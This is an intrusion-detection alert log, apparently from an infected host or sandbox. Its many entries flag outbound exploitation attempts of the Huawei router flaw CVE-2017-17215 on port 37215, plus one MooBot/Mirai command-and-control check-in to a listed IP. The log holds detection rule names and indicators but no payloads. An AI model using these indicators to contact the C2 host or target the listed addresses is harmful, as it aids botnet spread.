ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.174.197.106

Timestamp:	2024-08-01T15:36:09.888679+0200
SID:	2835222
Source Port:	48020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.229.212.43

Timestamp:	2024-08-01T15:35:53.373483+0200
SID:	2835222
Source Port:	40010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.46.147.104

Timestamp:	2024-08-01T15:35:20.205281+0200
SID:	2835222
Source Port:	35982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.178.240

Timestamp:	2024-08-01T15:35:21.882039+0200
SID:	2835222
Source Port:	54374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.50.91.84

Timestamp:	2024-08-01T15:35:21.935552+0200
SID:	2835222
Source Port:	41320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.219.37.153

Timestamp:	2024-08-01T15:36:24.466035+0200
SID:	2835222
Source Port:	43468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.73.163.43

Timestamp:	2024-08-01T15:36:53.674046+0200
SID:	2835222
Source Port:	53584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.188.228.81

Timestamp:	2024-08-01T15:35:50.304929+0200
SID:	2835222
Source Port:	41256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.83.5.96

Timestamp:	2024-08-01T15:35:17.161414+0200
SID:	2835222
Source Port:	58020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.246.139.66

Timestamp:	2024-08-01T15:36:55.995005+0200
SID:	2835222
Source Port:	42972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.210.32.53

Timestamp:	2024-08-01T15:35:21.921909+0200
SID:	2835222
Source Port:	45490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.111.86.94

Timestamp:	2024-08-01T15:35:20.202934+0200
SID:	2835222
Source Port:	44470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.66.231.176

Timestamp:	2024-08-01T15:35:17.246179+0200
SID:	2835222
Source Port:	37504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.43.214.179

Timestamp:	2024-08-01T15:35:17.131354+0200
SID:	2835222
Source Port:	52512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.121.204.245

Timestamp:	2024-08-01T15:35:20.206776+0200
SID:	2835222
Source Port:	45412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.84.14.118

Timestamp:	2024-08-01T15:36:46.403962+0200
SID:	2835222
Source Port:	44528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 188.155.9.106

Timestamp:	2024-08-01T15:36:01.488686+0200
SID:	2835222
Source Port:	34778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.94.115.44

Timestamp:	2024-08-01T15:35:20.545461+0200
SID:	2835222
Source Port:	34608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.71.39.251

Timestamp:	2024-08-01T15:36:18.353483+0200
SID:	2835222
Source Port:	36796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.86.199.8

Timestamp:	2024-08-01T15:35:20.209717+0200
SID:	2835222
Source Port:	49726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.2.31

Timestamp:	2024-08-01T15:35:21.842087+0200
SID:	2835222
Source Port:	43764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.37.124.216

Timestamp:	2024-08-01T15:35:16.399827+0200
SID:	2835222
Source Port:	40034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.154.223.242

Timestamp:	2024-08-01T15:35:20.216451+0200
SID:	2835222
Source Port:	51886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.179.229.76

Timestamp:	2024-08-01T15:35:20.210524+0200
SID:	2835222
Source Port:	55144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.70.247.100

Timestamp:	2024-08-01T15:35:20.216279+0200
SID:	2835222
Source Port:	39006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.64.58.109

Timestamp:	2024-08-01T15:36:09.890346+0200
SID:	2835222
Source Port:	58456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.16.16.90

Timestamp:	2024-08-01T15:36:29.133663+0200
SID:	2835222
Source Port:	36154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.28.2.66

Timestamp:	2024-08-01T15:35:21.868690+0200
SID:	2835222
Source Port:	57498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.115.41.196

Timestamp:	2024-08-01T15:35:16.605525+0200
SID:	2835222
Source Port:	45316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.242.194.188

Timestamp:	2024-08-01T15:35:20.209926+0200
SID:	2835222
Source Port:	34396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.227.113.252

Timestamp:	2024-08-01T15:34:55.817631+0200
SID:	2835222
Source Port:	34740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.193.217

Timestamp:	2024-08-01T15:36:22.454901+0200
SID:	2835222
Source Port:	56944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.198.165.97

Timestamp:	2024-08-01T15:36:35.046960+0200
SID:	2835222
Source Port:	39472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 105.79.174.226

Timestamp:	2024-08-01T15:36:39.403821+0200
SID:	2835222
Source Port:	42364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.73.36.177

Timestamp:	2024-08-01T15:36:28.681684+0200
SID:	2835222
Source Port:	41046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.238.249.106

Timestamp:	2024-08-01T15:35:50.270265+0200
SID:	2835222
Source Port:	33750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.139.130.56

Timestamp:	2024-08-01T15:35:21.864517+0200
SID:	2835222
Source Port:	40632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.255.96.139

Timestamp:	2024-08-01T15:36:01.488002+0200
SID:	2835222
Source Port:	44570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.94.171

Timestamp:	2024-08-01T15:35:17.262387+0200
SID:	2835222
Source Port:	53626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.23.150.86

Timestamp:	2024-08-01T15:36:09.885992+0200
SID:	2835222
Source Port:	45718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.187.196.137

Timestamp:	2024-08-01T15:36:36.962834+0200
SID:	2835222
Source Port:	40516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.212.133.243

Timestamp:	2024-08-01T15:35:20.545670+0200
SID:	2835222
Source Port:	55906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.201.154.148

Timestamp:	2024-08-01T15:35:21.889461+0200
SID:	2835222
Source Port:	33556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.108.157.107

Timestamp:	2024-08-01T15:36:09.887270+0200
SID:	2835222
Source Port:	58580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 9.105.10.4

Timestamp:	2024-08-01T15:35:20.203962+0200
SID:	2835222
Source Port:	54052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.90.214.116

Timestamp:	2024-08-01T15:35:20.207112+0200
SID:	2835222
Source Port:	38666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.80.128.182

Timestamp:	2024-08-01T15:35:21.905877+0200
SID:	2835222
Source Port:	42048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.44.124.149

Timestamp:	2024-08-01T15:36:16.992088+0200
SID:	2835222
Source Port:	51898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.15.236.234

Timestamp:	2024-08-01T15:35:21.928770+0200
SID:	2835222
Source Port:	57940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 89.158.201.188

Timestamp:	2024-08-01T15:35:20.203876+0200
SID:	2835222
Source Port:	37282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.134.64.67

Timestamp:	2024-08-01T15:35:58.805720+0200
SID:	2835222
Source Port:	40624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.89.152.188

Timestamp:	2024-08-01T15:35:50.268004+0200
SID:	2835222
Source Port:	56614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.209.11.247

Timestamp:	2024-08-01T15:36:01.465490+0200
SID:	2835222
Source Port:	58608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.52.237.133

Timestamp:	2024-08-01T15:35:28.720661+0200
SID:	2835222
Source Port:	55336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 71.213.156.106

Timestamp:	2024-08-01T15:36:18.261427+0200
SID:	2835222
Source Port:	34060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.208.25.228

Timestamp:	2024-08-01T15:36:32.807059+0200
SID:	2835222
Source Port:	53014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.24.31.127

Timestamp:	2024-08-01T15:35:20.545629+0200
SID:	2835222
Source Port:	54406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.109.157.140

Timestamp:	2024-08-01T15:35:33.098035+0200
SID:	2835222
Source Port:	51612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.134.51.115

Timestamp:	2024-08-01T15:35:16.336766+0200
SID:	2835222
Source Port:	43508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.147.91.88

Timestamp:	2024-08-01T15:36:06.682695+0200
SID:	2835222
Source Port:	35540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.96.130.186

Timestamp:	2024-08-01T15:36:39.385151+0200
SID:	2835222
Source Port:	54680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.205.131.121

Timestamp:	2024-08-01T15:35:16.435048+0200
SID:	2835222
Source Port:	45976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 4.241.36.104

Timestamp:	2024-08-01T15:36:18.286158+0200
SID:	2835222
Source Port:	45776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.129.192

Timestamp:	2024-08-01T15:35:20.210311+0200
SID:	2835222
Source Port:	46126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.129.118

Timestamp:	2024-08-01T15:35:20.215050+0200
SID:	2835222
Source Port:	41150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.39.200.158

Timestamp:	2024-08-01T15:36:36.982450+0200
SID:	2835222
Source Port:	60826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:36:08.254482+0200
SID:	2030490
Source Port:	56782
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.5.0.94

Timestamp:	2024-08-01T15:35:01.131962+0200
SID:	2835222
Source Port:	56702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.115.108.30

Timestamp:	2024-08-01T15:35:20.209070+0200
SID:	2835222
Source Port:	39362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.181.222.122

Timestamp:	2024-08-01T15:35:21.854404+0200
SID:	2835222
Source Port:	57064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 149.251.96.185

Timestamp:	2024-08-01T15:36:01.466637+0200
SID:	2835222
Source Port:	38702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 178.33.177.255

Timestamp:	2024-08-01T15:36:28.682827+0200
SID:	2835222
Source Port:	56922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.245.144.135

Timestamp:	2024-08-01T15:35:17.112127+0200
SID:	2835222
Source Port:	52562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.226.170.230

Timestamp:	2024-08-01T15:35:50.278572+0200
SID:	2835222
Source Port:	44414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.59.99.70

Timestamp:	2024-08-01T15:36:24.446854+0200
SID:	2835222
Source Port:	37052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 75.223.4.127

Timestamp:	2024-08-01T15:36:34.856822+0200
SID:	2835222
Source Port:	32864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.139.44

Timestamp:	2024-08-01T15:36:26.559174+0200
SID:	2835222
Source Port:	40578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.92.216.107

Timestamp:	2024-08-01T15:36:06.933456+0200
SID:	2835222
Source Port:	54482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.18.243

Timestamp:	2024-08-01T15:36:28.681803+0200
SID:	2835222
Source Port:	49774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 46.203.164.151

Timestamp:	2024-08-01T15:35:20.216160+0200
SID:	2835222
Source Port:	56012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.7.182

Timestamp:	2024-08-01T15:36:29.055721+0200
SID:	2835222
Source Port:	49480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.115.151.122

Timestamp:	2024-08-01T15:35:25.960987+0200
SID:	2835222
Source Port:	41974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.68.48.181

Timestamp:	2024-08-01T15:35:21.890690+0200
SID:	2835222
Source Port:	39718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.3.88

Timestamp:	2024-08-01T15:35:20.207747+0200
SID:	2835222
Source Port:	53872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.67.32

Timestamp:	2024-08-01T15:36:31.118837+0200
SID:	2835222
Source Port:	43942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.111.15.209

Timestamp:	2024-08-01T15:36:09.884964+0200
SID:	2835222
Source Port:	45368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.185.152.245

Timestamp:	2024-08-01T15:35:20.214829+0200
SID:	2835222
Source Port:	35330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 188.157.140.238

Timestamp:	2024-08-01T15:34:57.900354+0200
SID:	2835222
Source Port:	45048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.15.58.142

Timestamp:	2024-08-01T15:36:24.443782+0200
SID:	2835222
Source Port:	46298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.128.51.138

Timestamp:	2024-08-01T15:34:59.785755+0200
SID:	2835222
Source Port:	44804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.87.134.15

Timestamp:	2024-08-01T15:35:33.068532+0200
SID:	2835222
Source Port:	43852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.158.104.201

Timestamp:	2024-08-01T15:35:28.717196+0200
SID:	2835222
Source Port:	58688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.55.124.183

Timestamp:	2024-08-01T15:35:16.337483+0200
SID:	2835222
Source Port:	40756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.135.159.193

Timestamp:	2024-08-01T15:35:21.918489+0200
SID:	2835222
Source Port:	57996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 177.186.243.242

Timestamp:	2024-08-01T15:35:16.513211+0200
SID:	2835222
Source Port:	35338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.138.219.53

Timestamp:	2024-08-01T15:35:16.248196+0200
SID:	2835222
Source Port:	44338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.120.210.166

Timestamp:	2024-08-01T15:35:21.828358+0200
SID:	2835222
Source Port:	57064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 51.135.146.219

Timestamp:	2024-08-01T15:36:20.433408+0200
SID:	2835222
Source Port:	33270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.49.18.126

Timestamp:	2024-08-01T15:36:30.753332+0200
SID:	2835222
Source Port:	37130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

